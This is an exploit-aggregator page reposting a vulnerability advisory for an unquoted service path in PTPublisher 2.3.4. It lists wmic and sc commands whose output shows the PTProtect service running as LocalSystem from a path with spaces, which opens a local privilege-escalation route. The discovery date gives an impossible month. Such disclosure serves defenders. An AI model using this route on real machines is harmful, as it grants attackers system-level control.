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PTPublisher 2.3.4 Unquoted Service Path

CVE Category Price Severity
CVE-2021-4321 CWE-428 $500 High
Author Risk Exploitation Type Date
Anonymous Critical Local 2022-04-24
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040095

Below is a copy:

PTPublisher 2.3.4 Unquoted Service Path
# Exploit Title: PTPublisher v2.3.4 - Unquoted Service Path
# Discovery by: bios
# Discovery Date: 2022-18-04
# Vendor Homepage: https://www.primera.com/
# Tested Version: 2.3.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
PTProtect
        PTProtect
C:\Program Files (x86)\Primera
Technology\PTPublisher\UsbFlashDongleService.exe
                      Auto

C:\>sc qc PTProtect
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PTProtect
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\PrimeraTechnology\PTPublisher\UsbFlashDongleService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PTProtect
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

Host Name:                 DESKTOP-OUHAB1I
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19044 N/A Build 19044

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